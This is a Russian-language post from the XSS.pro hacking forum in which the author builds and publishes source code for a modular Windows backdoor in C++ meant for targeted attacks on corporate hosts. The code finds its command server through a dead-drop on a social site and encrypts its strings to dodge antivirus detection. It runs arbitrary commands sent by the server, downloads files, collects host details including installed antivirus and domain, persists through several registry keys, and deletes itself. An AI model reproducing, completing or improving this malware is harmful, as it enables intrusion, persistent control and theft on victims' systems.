• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Очередной бэкдор для Windows на C++

user_47

(L3) cache
Пользователь
Регистрация
25.06.2023
Сообщения
210
Решения
2
Реакции
93
Гарант сделки
2
Автор: user_47 (members/319714/)

Специально для: xss.pro


0x00: Введение.

Предлагаю обсудить архитектуру и моё видение реализации бэкдора средней сложности для закрепа в системе на базе Windows. Применять будем такого зверька точечно под целевые акции. Исходя из обозначенных условий и будем проектировать архитектуру.
Это моя первая попытка сделать подобного рода софт. В этой попытке хочется сделать изделие модульной конструкции, для которой можно будет относительно просто выполнять конфигурирование на уровне исходного кода. И тем самым модернизировать конечный билд в будущем. Чтобы это всё хозяйство работало буду стараться использовать простые методы реализующие функционал модулей. Надеюсь что такой подход позволить упростить сборку и заставить работать моего франкенштейна:)
Я придерживаюсь стратегии идти маленькими шашками на длинном и долгом пути. Это первый шаг к созданию работающего бэкдора в условиях корпоративного хоста со всеми вытекающими. На текущем шаге стоит только одна цель. Создать работающий код. Далее, используя его как фундамент, буду путём модернизации постигать хитрости малварестроения. Опытный кодер малвари скажет, так сиди и учи всё самостоятельно, зачем свой говнокод решил вывалить в паблик? И будет не прав. Инфа про малварестроение раскидана по виртуальному пространству хаотично. Систематизировать её мне хочется, чтобы понять что и зачем используется. И когда кажется что я наконец-то постиг какую-то фишку, надо обязательно этим с знанием с кем-то поделиться. Только тогда станет понятно что ты всё понял не так и в очередной раз породил лютую лажу:) Таааак. Что то меня на лирику потянуло. Если в двух словах обобщить вышеописанный абзац. Ребята, жду вашей критики. Скажите, где я облажался в этот раз!

Сразу определю какие модули я НЕ буду включать этот билд:
-- проверка СНГ;
-- идентификация песочниц;
-- антидубль.

Так как пентест целевой, соответственно СНГ там не может быть по определению. Кто будет гадить у себя в доме?!?! Опасное это дело. Но если потребуется, такое прикрутить не проблема!
Про идентификацию "песочниц". По моему мнению детектами виртуального пространства всё таки должен заниматься отдельный модуль, подгружающий конечную нагрузку если всё тип-топ. Тут я хочу разобраться именно с такой конечной нагрузкой. К тому же иногда надо забэкдорить какой-нибудь Windows Server, работающий под виртуалкой.
Антидубль не стал использовать опять же по причине точечного применения. Навряд ли билд будет как то неконтролируемо плодиться на одном хосте. Да и как мне кажется лучше реализовать логику определения дублей прямо на С2 на основе информации с хоста (комбинации ID, user_name, UUID).

В остальном модули будут как у типичной малвари:
-- закреп;
-- сбор информации о хосте;
-- связь с С2;
-- выполнение команд;
-- самоудаление из системы.


0х01: Определение адреса С2.

При обдумывании организации связи с С2 у меня напрочь отсутствовало желание жёстко вшивать в него адрес. Всё таки тут нужна в определённой степени гибкость при работе. Почитав интернеты решил реализовать такую схему:

схема.jpg


тут:
бэкдор - экземпляр нашего билда запущенный где то на просторах "счастливого" корпа;
С2 - управляюще-конролирующий сервер;
"знаток" - такой сервер, который знает адрес нашего С2. В качестве таких серверов идеально подходят социальные сети. Возможно есть смысл задействовать популярные. Я решил посмотреть в сторону более скромных сервисов. Главное условие чтобы мы могли находить страницу с нужной инфой за один GET запрос. Поиск по интернетам предложил несколько интересных вариантов. В формате форумов (например что-то вроде форума технической поддержки lcard[.].ru). В формате социальных сетей drive2[.]ru. Ресурс drive2[.]ru мне приглянулся больше. У него eсть возможность обращаться к поиску по ресурсу прямо из адресной строки:

https://www.drive2[.]ru/search/?text=<метка которую ищем>

Из терминала можно посмотреть как такой механизм работает с помощью команды:

curl '[URL]https://www.drive2.ru/search/?text=\test[/URL]' -A "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" | grep 'test'

С недавних пор эта фишка для drive2 работает только с User-Agent похожим на браузерный. Имейте это ввиду.
Такой вариант размещения адреса для С2 имеет следующие достоинства:
- можно управлять моментом подключения к своему C2. Когда надо скрыть адрес просто сносим его из блога;
- если по какой то причине забанили нашего пользователя, нам ничто не мешает зарегать нового с похожим именем или прочей меткой для поиска нужной инфы;
недостатки:
- надо регать своего пользователя. А для этого потребуется мыло и номер телефона.
Для испытаний описанной методики добычи адреса сервера С2 в архиве к статье приложил простой сервер на Go в папке znatok. Этот сервер при обращении на конечную точку будет выдавать набор данных из которого бэкдор будет парсить адрес С2. Свои аккаунты не буду выдавать. Потому как с трудом смог пару новых аккаунтов зарегать только с румынским номером телефона. До номеров с просторов СНГ заветная СМС с номером регистрации не доходила до сервиса одноразовых номеров.


0x02: Алгоритм работы бэка.

Накидаем алгоритм работы:
1) Определение основных переменных настраивающих работу проги. Какие-то строки будут лежать в зашифрованном виде для защиты от сигнатурного детекта АВ;
2) Попытаемся определить адрес сервера С2 с которого будем получать команды;
3) Если адрес С2 успешно определён, отправляем к С2 запрос на получение команды;
4) Если запрос к С2 отработал без ошибок глядим какую команду нам прислали;
5) Бэк этой версии ожидает от С2 следующие команды:
а) спать - выполнение каких-либо действий не требуется, поэтому бэк бездействует более продолжительное время чем обычно;
б) скачать файл - забираем с C2 сервера файл и кладём его на диск жертве. Такой мини дроппер:)
в) самоудаление - если С2 или оператор принимают решение о ликвидации экземпляра бекдора, отправляется такая команда. При её выполнении убивается файл на диске из которого грузили процесс и закрепы в автозагрузке;
г) завершение процесса бэка - завершаем только процесс, который сидит в памяти. Все закрепы автозагрузки и файлы на диске остаются;
д) сбор информации о системе - при первом запуске экземпляра бэка С2 присылает такую команду. Какую информацию собирает эта версия бэка описал в соостетствующем разделе статьи;
е) закреп - прога будет прописываться в автозагрузку заложенными в неё способами. Арсенал доступных техник для "персистоности" чрезвычайно широк. Буду пробовать для начала самые простые;
ж) и собственно команда на выполнение команды (масло масляное).
В исходнике разложим в положенных местах задержки по времени и где надо зациклим нужные пункты алгоритма.


0х03: Исходный код.

Составив такой нехитрый план, приступил к его реализации. Посмотрим что мне удалось своять.
Заявку на модульность решил попробовать сделать через создание соответствующих инклудов. В комментах расписано что к чему. В боевой версии билда некоторые инклуды отлетят.

C++:
#include <Windows.h>

#include <stdio.h>

#include <iostream>     

#include "send_msg.h"        // работа с сетью

#include "base64.h"            // работа с base64

#include "utils.h"            // конвертация строк

#include "exec_command.h"    // выполнение команд

#include "down_file.h"        // скачивание файла 

#include "persist.h"        // закреп в системе

#include "auto_del_2.h"        // самоликвидация

#include "get_info.h"        // получение инфы о системе

Далее объявил пару функций. Первая содержит в себе попытку придумать какой-то интересный способ задержки времени внутри проги. Если управляющий сервер принимает решение что определённый экземпляр бэка на хосте ему не нужен, он активирует у этого экземпляра "режим сна". Тогда бэк запускает функцию бездействия на какое-то продолжительное время. При этом процесс бэка сидит в памяти без сетевой активности и может выполнять "типа" полезные действия. Самописный таймер отжирал процентов двадцать ресурсов процессора и был похож на майнер на минималках. Так как с наскока мной этот вопрос был благополучно провален, временно применил Sleep. Знаю что это стрёмный вариант и безопасники его легко обходят. Поэтому в будующих версиях требует обязательной замены. Если кто-то подскажет рабочий вариант буду очень благодарен.

C++:
void sleep_random(DWORD val) {

    Sleep(val);

}

Вторая функция парсит строку со HTML страницы, которую возвращает запрос к серверу.

C++:
// str - исходная строка из которой вытаскиваем нужное; substr_begin - первая метка; substr_end - вторая метка; error - обработчик ошибок

char* pars_url(char* str, const char* substr_begin, const char* substr_end, int& error) {

    // Ищем начальную подстроку

    char* start = strstr(str, substr_begin);

    if (start == nullptr) {

        error = 1;

        return nullptr;

    }

    // Сдвигаемся по длине начальной подстроки

    start += strlen(substr_begin);

    // Ищем конечную подстроку

    char* end = strstr(start, substr_end);

    if (end == nullptr) {

        error = 1;

        return nullptr;

    }

    // Вычисляем длину искомой подстроки

    size_t length = end - start;


    // Выделяем память для новой строки

    char* result = new char[length + 1]; // +1 для нуль-терминатора

    // Копируем найденную подстроку в новую строку

    for (size_t i = 0; i < length; ++i) {

        result[i] = start[i];

    }

    result[length] = '\0'; // Добавляем нуль-терминатор

    error = 0;

    return result;

}

Объявляем и инициируем глобальные переменные в которые закидываем ключевые значения переменных. Некоторые переменные будем хранить в зашифрованном виде. Идентификатор клиента будет уникальным для каждого билда. То есть в природе не должно существовать два одинаковых билда бэкдора. Так как С2 будет идентифицировать уникальность клиента именно по этому параметру.

C++:
// идентификатор клиента, он же ключ шифрования инфы внутри бинарника

    const char* IdClient = "01234567890123456789012345678901"; // 32

    // iv для шифрования по алгоритку AES-CBC

    const char* Iv = "0123456789012345"; // 16

    // складиваем ид нашего бека в вектор

    std::vector<BYTE> vctIdClient(32);

    for (size_t i = 0; i < 32; ++i)

        vctIdClient[i] = static_cast<BYTE>(IdClient[i]);

    // складываем IV бэка в вектор

    std::vector<BYTE> vctIv(16);

    for (size_t i = 0; i < 16; ++i)

        vctIv[i] = static_cast<BYTE>(Iv[i]);

    // метка сна

    std::string SLP = "SLEEP";

    // метка на завершение процесса агента

    std::string EXT = "ext";

    // улр знатока (зашифрован)

    // 192.168.0.112

    std::string strHostZnt;

    std::vector<BYTE> vctHostZnt = {

        0xb4, 0x2b, 0xb0, 0xb8, 0x8e, 0xe2, 0xa2, 0xcc, 0x73, 0x64, 0xa1, 0x29, 0xc0, 0xa9, 0x04, 0x43

    };

    // метка_0, которую надо найти на странице, которую будет возвращать знаток (зашифрована)

    // /test

    std::string strDataZnt;

    std::vector<BYTE> vctDataZnt = {

        0xb0, 0xd7, 0x75, 0x6a, 0x94, 0x7f, 0x82, 0x19, 0xd9, 0xb3, 0xfd, 0x94, 0xa7, 0xe2, 0x29, 0x27

    };

    // метка_1 начала ип в строке которую найдём по метке_0 (зашифрована)

    // ip^

    std::string strLabelIpBegin;

    std::vector<BYTE> vctLabelIpBegin = {

        0xd3, 0xf6, 0x12, 0x72, 0x4d, 0x21, 0x1a, 0x28, 0x69, 0x9f, 0x72, 0x83, 0x7f, 0xfb, 0x10, 0xb0

    };

  
    // метка_2 конца ип в строке которую найдём в метке_0 (зашифровано)

    // ^end

    std::string strLabelIpEnd;

    std::vector<BYTE> vctLabelIpEnd = {

        0xaf, 0x7f, 0x39, 0x7d, 0xb6, 0x54, 0xcc, 0x19, 0xf9, 0xc3, 0x9a, 0x1c, 0x17, 0x8f, 0x06, 0x93

    };

    // конечная точка на С2 (зашифровано)

    // /url_connect

    std::string strEndPointSvz;

    std::vector<BYTE> vctEndPointSvz = {

        0x68, 0xcd, 0x3c, 0x45, 0x57, 0x4c, 0x3b, 0x3a, 0x75, 0xe6, 0xa4, 0x85, 0x98, 0x1e, 0x01, 0x2b

    };

    // ип С2, который берём у знатока

    char* HostSvz;

    int ErrorReadCmd;

    // команда от C2

    char* Command;

    // результат выполнения команды от C2

    std::string ResultCommand;

Начинаем настойчиво в бесконечном цикле обращаться к знатоку за адресом С2 сервера. При этом по ходу дела дешифруем исходные данные из переменных. Используем их по прямому назначению. И обнуляем.

C++:
// делаем задержку перед запросом к знатоку

    sleep_random(1000);

    // отправляем GET запрос к знатоку чтобы получить IP С2

    strHostZnt = aesDecryptToStr(vctHostZnt, vctIdClient, vctIv);

    strDataZnt = aesDecryptToStr(vctDataZnt, vctIdClient, vctIv);

    HostSvz = send_to_serv(strHostZnt.c_str(), strDataZnt.c_str(), ErrorReadCmd);

    strHostZnt = "";

    strDataZnt = "";

    strLabelIpBegin = aesDecryptToStr(vctLabelIpBegin, vctIdClient, vctIv);

    strLabelIpEnd = aesDecryptToStr(vctLabelIpEnd, vctIdClient, vctIv);

Для работы с дешифрованием используется функция aesDectyptToStr из заголовочного файла decrypt.h. Вся логика работы этой функции построена на основе бибилиотеки bcrypt.

C++:
#include <windows.h>

#include <vector>

#include <bcrypt.h>

#include <ntstatus.h>

#include <iostream>

#pragma comment(lib, "bcrypt.lib")

void handleError(NTSTATUS status, const wchar_t* msg) {

    if (status != STATUS_SUCCESS) {

        std::cerr << "Error: " << std::hex << status << std::endl;

        std::wcout << msg;

        exit(1);

    }

}

std::vector<BYTE> aesDecrypt(const std::vector<BYTE>& ciphertext, const std::vector<BYTE>& key, const std::vector<BYTE> iv) {

    BCRYPT_ALG_HANDLE hAlg = nullptr;

    BCRYPT_KEY_HANDLE hKey = nullptr;

    DWORD cbData = 0;

   // NTSTATUS status;

    // Создание алгоритма AES

    handleError(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0), L"Create algoritm AES decr");

    // Создание ключа

    handleError(BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, (PUCHAR)key.data(), key.size(), 0), L"Create keys decr");

    // Установка IV

    handleError(BCryptSetProperty(hKey, BCRYPT_INITIALIZATION_VECTOR, (PUCHAR)iv.data(), iv.size(), 0), L"Setup IV decr");

    // Подготовка буфера для расшифровки

    std::vector<BYTE> plaintext(ciphertext.size());

    // Рашифровка

    handleError(BCryptDecrypt(hKey, (PUCHAR)ciphertext.data(), ciphertext.size(), nullptr, (PUCHAR)iv.data(), iv.size(),

        plaintext.data(), plaintext.size(), &cbData, BCRYPT_BLOCK_PADDING), L"Decryptus");

    plaintext.resize(cbData);

    // Освобождение ресурсов

    BCryptDestroyKey(hKey);

    BCryptCloseAlgorithmProvider(hAlg, 0);

    return plaintext;

}

std::string aesDecryptToStr(const std::vector<BYTE>& ciphertext, const std::vector<BYTE>& key, const std::vector<BYTE> iv) {

    std::vector<BYTE> buf = aesDecrypt(ciphertext, key, iv);

    std::string result(buf.begin(), buf.end());

    return result;

}

Дальше работаем с адресом сервера С2

C++:
// парсим ип С2

    HostSvz = pars_url(HostSvz, strLabelIpBegin.c_str(), strLabelIpEnd.c_str(), ErrorReadCmd);

    if (HostSvz == NULL) {

            std::cout << "Not find url Svz!";

            return 2;

        }

        strLabelIpBegin = "";

        strLabelIpEnd = "";

        //если удалось получить адрес С2

        if (ErrorReadCmd == 0) {

            for (int i = 0; i < 5; i++) { // если адрес С2 не равен -1 и i меньше 5 тогда выполняем цикл

                std::cout << "connect to svz\n";

                ErrorReadCmd = 0;

                // делаем задержку перед запросом к C2

                sleep_random(1000);

Начинаем подготовку к подключению к С2.

C++:
strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);


                char* DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, "1.0");


                strEndPointSvz = "";


                // отправляем GET запрос C2, чтобы получить команду на выполнение

                Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);


                // данные от С2 прилетают в base64

                std::string CommandB = WstringToString(base64_decode(StringToWString(Command)));

                std::cout << CommandB << std::endl;


Разбираемся что прислал С2 и выполняем требуемые действия. Некоторые из команд, которые будет присылать С2 разберём более подробно в разделах ниже.

C++:
// если удалось получить от C2 команду

                if (ErrorReadCmd != -1) {  // если запрос к C2 отработал без ошибок

                    // смотрим команду "спать"

                    if (CommandB == SLP) {

                        // задержка послe получении команды спать

                        sleep_random(5000);

                        std::cout << "get command 'sleep'\n";

                    }

                    // смотрим команду завершить процесс агента

                    else if (CommandB.c_str() == EXT) {

                        ResultCommand = "Exit in application. Good bye!!!";


                        strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);

                        // отправляем результат C2

                        DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, ResultCommand.c_str());

                        strEndPointSvz = "";

                        Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);


                        return 0;

                    }

                    // смотрим команду cкачать файл

                    else if (CommandB.c_str() == DWNL) {

                        HRESULT Result = S_OK;

                      
                        // определяем адрес по которому забираем файл

                        std::string sUrlDownFile = "http://" + std::string(HostSvz) + "indexUI.exe";

                        // определяем куда складываем файл

                        std::string sLocalFile = WstringToString( getPath() ) + "\\indexUI.exe";

                        Result = DownFileW(

                            (PWCHAR)sUrlDownFile.c_str(),

                            (PWCHAR)sLocalFile.c_str(),

                            NULL

                        );
       
                        if (SUCCEEDED(Result)) ResultCommand = "file download and save in disk.";

                        else ResultCommand = "Error download and save file in disk.";

                        strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);

                        // отправляем результат C2

                        DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, ResultCommand.c_str());

                        strEndPointSvz = "";

                        Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);

                    }

                    // смотрим команду самоудаления

                    else if (CommandB.c_str() == IDLT) {

                  
                        if (AutoDelete_2()) ResultCommand = "AutoDelete succesfull!!!";

                        else ResultCommand = "Error AutoDelete.";

                        strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);

                        // отправляем результат C2

                        DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, ResultCommand.c_str());

                        strEndPointSvz = "";

                        Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);

                    }

                    // смотрим команду на сбор инфы о системе

                    else if (CommandB.c_str() == GTNF) {

                  
                        ResultCommand = "gtnf:" + WstringToString(GetInfo());

                        std::cout << ResultCommand << std::endl;

                        strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);

                        // отправляем результат C2

                        DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, ResultCommand.c_str());

                        strEndPointSvz = "";

                        Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);

                    }

                    // смотрим команду на закреп

                    else if (CommandB.c_str() == PRST) {

                        if (Persist()) ResultCommand = "Persist succesfull!!!";


                        else ResultCommand = "Error persist.";


                        strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);

                        // отправляем результат C2

                        DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, ResultCommand.c_str());

                        strEndPointSvz = "";

                        Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);

                    }

                    // смотрим команду на выполнение через cmd

                    else {

                        // делаем задержку

                        sleep_random(1000);


                        // выполняем команду

                        std::cout << "run command " << CommandB << std::endl;

                        ResultCommand = exec_command(CommandB.c_str());


                        // делаем задержку

                        sleep_random(1000);

                        strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);

                        // отправляем результат на С2

                        DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, ResultCommand.c_str());

                        strEndPointSvz = "";

                        //std::cout << host_svyaznoy << data_for_svyaznoy << std::endl;

                        Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);

                    }


0х04: Модуль закрепа.

Способов персистоности существует превеликое множество. Чтобы хоть как-то их упорядочить и систематизировать я определил две группы классификации:
- по месту хранения кода;
- по способу запуска этого кода.
Код в винде можно закинуть банально в файл на жёстком диске. А ещё записать в реестр в виде бинарника или скрипта. Эти варианты похитрее, поэтому использую способ с файлом как наиболее простой.
Запускать код можно:
- из реестра;
- из папки автозагрузки;
- из планировщика задачь;
- из существующих ярлыков пользователя, которые есть в автозагрзуке, на рабочем столе, в панеле задачь.
Я опять выбрал наиболее простой вариант. Будем писать в реестр. Для придания хоть какой-то попытки работоспособности закрепа я попытался избежать использование известной всем ветки реестра:

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Применил такие три ветки раздела HKEY_CURRENT_USER

Environment -> UserinitMprLogonScript

Software\Microsoft\Windows\CurentVersion\Policies\Explorer\Run -> test

Software\Microsoft\Windows NT\CurrentVersion\Windows -> Load

В первую и третью ветки надо писать парамерты имено с указаными именами.
Для работы с реестром юзаем функции из WinAPI. Рабочий код поместил в заголовочник persist.h. Ветки реестра лежат в открытом виде. Это не есть хорошо. Закриптовать их пока руки не долшли. Механизм декриптования описал в статье ранее.

C++:
#include <windows.h>

#include <iostream>


std::string PRST = "prst";

// будем прописывать всегда один путь

const wchar_t* valueData = L"C:\\folder\\mobsync.exe";

// индикатор внесения изменений

bool check = false;

// количество мест в реестре, куда будем писать

const int size = 4;

struct ValueRegedit {

    LPCWSTR subKey;             // путь где будем хранить ключ (без начального значения, HKCU)

    const wchar_t* valueName;   // имя ключа

    const wchar_t* valueData;   // значение ключа

};

// функция внесения изменений в реестр

bool EditRegedit(ValueRegedit valueRegedit) {

    HKEY hKey;

    LONG result;

    // Открываем или создаем ключ реестра

    result = RegCreateKeyExW(

        HKEY_CURRENT_USER,   // Корень ключа

        valueRegedit.subKey, // Подключ

        0,                   // Резерв

        NULL,                // Имя класса

        0,                   // Резерв

        KEY_WRITE,          // Доступ

        NULL,                // Резерв

        &hKey,              // Указатель на открытый ключ

        NULL                 // Указатель на тип ключа

    );


    if (result != ERROR_SUCCESS) {

        std::wcerr << L"Error open/create key regedit: " << result << std::endl;

        RegCloseKey(hKey);

        return false;

    }



    result = RegSetValueExW(

        hKey,               // Открытый ключ

        valueRegedit.valueName,         // Имя значения

        0,                 // Резерв

        REG_SZ,           // Тип данных

        (const BYTE*)valueRegedit.valueData, // Данные значения

        (wcslen(valueRegedit.valueData) + 1) * sizeof(wchar_t) // Размер данных

    );


    if (result != ERROR_SUCCESS) {

        std::wcerr << L"Error set value key regedit: " << result << std::endl;

        RegCloseKey(hKey);

        return false;

    }

    else {

        std::wcout << L"Value write in regedit succefull: " << valueRegedit.valueName << std::endl;

    }


    // Закрываем ключ реестра

    RegCloseKey(hKey);

    return true;

}


// массив где будут лежать наши значения

ValueRegedit valueRegedit[size];


bool Persist() {


    valueRegedit[0].subKey = L"Environment";

    valueRegedit[0].valueName = L"UserinitMprLogonScript";

    valueRegedit[0].valueData = valueData;


    valueRegedit[1].subKey = L"Software\\Microsoft\\Windows\\CurentVersion\\Policies\\Explorer\\Run";

    valueRegedit[1].valueName = L"test";

    valueRegedit[1].valueData = valueData;


    valueRegedit[2].subKey = L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows";

    valueRegedit[2].valueName = L"Load";

    valueRegedit[2].valueData = valueData;


    // этот вариант не желателен, так как сюда лезут все кому не попадя

    valueRegedit[3].subKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

    valueRegedit[3].valueName = L"test";

    valueRegedit[3].valueData = valueData;


    // пробуем записаться в первые три варианта

    for (int i = 0; i <= 2; i++) if (EditRegedit(valueRegedit[i])) return true;

      

    // если первые три варианта почему то не сработали, пробуем писать в нежелательный вариант

    if (EditRegedit(valueRegedit[3])) return true;


    return false;


}


0x05: Сбор информации о системе.

Функцию сбора информации о системе реализовал чеpез работу с COM. Почитывая мануальчики микрософта подивился обширному спектру возможностей, которые доступны при использовании этой технологии. Для себя взял по минимому, только самое необходимое. Но на перспективу отметил мару мест которые могут пригодится в будующем.
Сейчас смотрим на:
- имя юзера, под которым запустились;
- UUID системы;
- антивирус установленный в системе;
- имя компа;
- версия вЕнды;
- домен в котором работает система;
- исправления-обновления установленные в системе
В перспективе этот перечень можно расширить. Благо COM обладает обширными возможностями:) Всё небоходимое положил в заголовочник get_info.h.

C++:
#include <iostream>

#include <comdef.h>

#include <Wbemidl.h>

#include <vector>

#include <string>


#pragma comment(lib, "wbemuuid.lib")


std::string GTNF = "gtnf";


std::wstring printProperty(IWbemClassObject* pclsObj, const std::wstring& propertyName) {

 

    std::wstring result;


    VARIANT vtProp;

    HRESULT hr = pclsObj->Get(propertyName.c_str(), 0, &vtProp, 0, 0);

    if (SUCCEEDED(hr)) {

        result = vtProp.bstrVal;

        VariantClear(&vtProp);

    }

    else {

        result = L"Error read " + propertyName;

    }


    return result;


}


 std::wstring GetInfo() {


    std::locale::global(std::locale("ru_RU.UTF-8")); // на нормальное отображение русского языка


    std::wstring result;


    HRESULT hres;


    // Инициализация COM

    hres = CoInitializeEx(0, COINIT_MULTITHREADED);

    if (FAILED(hres)) {

        return L"Failed to initialize COM library. Error code = 0x";

    }


    hres = CoInitializeSecurity(

        NULL,

        -1,

        NULL,

        NULL,

        RPC_C_AUTHN_LEVEL_DEFAULT,

        RPC_C_IMP_LEVEL_IMPERSONATE,

        NULL,

        EOAC_NONE,

        NULL

    );


    if (FAILED(hres)) {

        return L"Failed to initialize security. Error code = 0x";

    }


    IWbemLocator* pLoc = NULL;

    hres = CoCreateInstance(

        CLSID_WbemLocator,

        0,

        CLSCTX_INPROC_SERVER,

        IID_IWbemLocator, (LPVOID*)&pLoc

    );


    if (FAILED(hres)) {

        return L"Failed to create IWbemLocator object. Error code = 0x";

    }


    IWbemServices* pSvc = NULL;

    hres = pLoc->ConnectServer(

        _bstr_t(L"ROOT\\CIMV2"),

        NULL,

        NULL,

        0,

        NULL,

        0,

        0,

        &pSvc

    );


    if (FAILED(hres)) {

        return L"Could not connect. Error code = 0x";

    }



    // Запрос информации о системе

    IEnumWbemClassObject* pEnumerator = NULL;


    // Получение имени компьютера и версии Windows

    hres = pSvc->ExecQuery(

        bstr_t("WQL"),

        bstr_t("SELECT Caption, Version, RegisteredUser FROM Win32_OperatingSystem"),

        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,

        NULL,

        &pEnumerator

    );


    if (SUCCEEDED(hres)) {

        IWbemClassObject* pclsObj = NULL;

        ULONG uReturn = 0;


        while (pEnumerator) {

            HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

            if (0 == uReturn) {

                break;

            }

            result = printProperty(pclsObj, L"RegisteredUser"); // Имя зарегистрированного пользователя операционной системы.

            result += L":" + printProperty(pclsObj, L"Caption"); // Название ОС

            result += L":" + printProperty(pclsObj, L"Version"); // версия ОС

            pclsObj->Release();

        }

    }


    // Получение UUID системы

    hres = pSvc->ExecQuery(

        bstr_t("WQL"),

        bstr_t("SELECT UUID FROM Win32_ComputerSystemProduct"),

        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,

        NULL,

        &pEnumerator

    );


    if (SUCCEEDED(hres)) {

        IWbemClassObject* pclsObj = NULL;

        ULONG uReturn = 0;


        while (pEnumerator) {

            HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

            if (0 == uReturn) {

                break;

            }

            result += L":" + printProperty(pclsObj, L"UUID");

            pclsObj->Release();

        }

    }

    // Получение домена

    hres = pSvc->ExecQuery(

        bstr_t("WQL"),

        bstr_t("SELECT Domain, Name FROM Win32_ComputerSystem"),

        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,

        NULL,

        &pEnumerator

    );


    if (SUCCEEDED(hres)) {

        IWbemClassObject* pclsObj = NULL;

        ULONG uReturn = 0;


        while (pEnumerator) {

            HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

            if (0 == uReturn) {

                break;

            }

            result += L":" + printProperty(pclsObj, L"Domain"); // домен

            result += L":" + printProperty(pclsObj, L"Name"); // имя компа:

         

            pclsObj->Release();

        }

    }


    // Получение антивируса

    hres = pSvc->ExecQuery(

        bstr_t("WQL"),

        bstr_t("SELECT Name FROM AntiVirusProduct"),

        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,

        NULL,

        &pEnumerator

    );


    if (SUCCEEDED(hres)) {

        IWbemClassObject* pclsObj = NULL;

        ULONG uReturn = 0;

        while (pEnumerator) {


            HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);


            if (0 == uReturn) {

                break;

            }

            result += L":" + printProperty(pclsObj, L"Name");

            pclsObj->Release();

        }

    }

    else {

        result += L":AV not found";

    }


    result += L":";


    // Получение обновлений системы

    hres = pSvc->ExecQuery(

        bstr_t("WQL"),

        bstr_t("SELECT HotFixID FROM Win32_QuickFixEngineering"),

        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,

        NULL,

        &pEnumerator

    );


    if (SUCCEEDED(hres)) {

        IWbemClassObject* pclsObj = NULL;

        ULONG uReturn = 0;


        while (pEnumerator) {

            HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

            if (0 == uReturn) {

                break;

            }

         

            result += L" ";


            VARIANT vtProp;


            // Получение свойства UUID

            hr = pclsObj->Get(L"HotFixID", 0, &vtProp, 0, 0);


            if (SUCCEEDED(hr)) {

                result += printProperty(pclsObj, L"HotFixID");

                VariantClear(&vtProp);

            }

         

            pclsObj->Release();

        }

    }


    // Очистка ресурсов

    pSvc->Release();

    pLoc->Release();

    pEnumerator->Release();

    CoUninitialize();


    return result;

}


0х06: Коммуникация с С2.

Тут вариантов также вагон и маленькая тележка. Если оторваться от реальности можно составить такой список (подозреваю что он ещё больше, себе я составил такой):
- через WinAPI (WinInet, WinHttp);
- чеерз сокеты, веб сокеры;
- через DNS;
- через Р2Р сети.
Переносимся в реальность. Смотрим на каком языке программинга пишем. Определяем требования для канала связи в виде шифрования трафика. И линейкой измеряем кривизну своих рук. Тогда в сухом остатке берём самый подходящий вариант в виде реализации через WinInet.
Весь механизм коммуникации разместил в заголовочнике send_msg.h. За инфообмен с сервером отвечает функция:

char* send_to_serv(const char* host, const char* data_for_send, int& err)

В ней вызываем последовательно нужные функции и заполняем у них аргументы требуетмыми параметрами что бы всё это хозяйство работало по протоколу HTTPS и подрубалось к 443 порту на сервере. Когда мы натянем на свой тестовый апачевый или энжинксный сервак самоподписаный сертификат для TLS протокола в код потребутеся добавить такие строки чтобы он не отваливался с ошибкой при выполнении функции HttpSendRequest:

C++:
DWORD dwFlags;

DWORD dwBuffLen = sizeof(dwFlags);

InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);

dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;

InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));


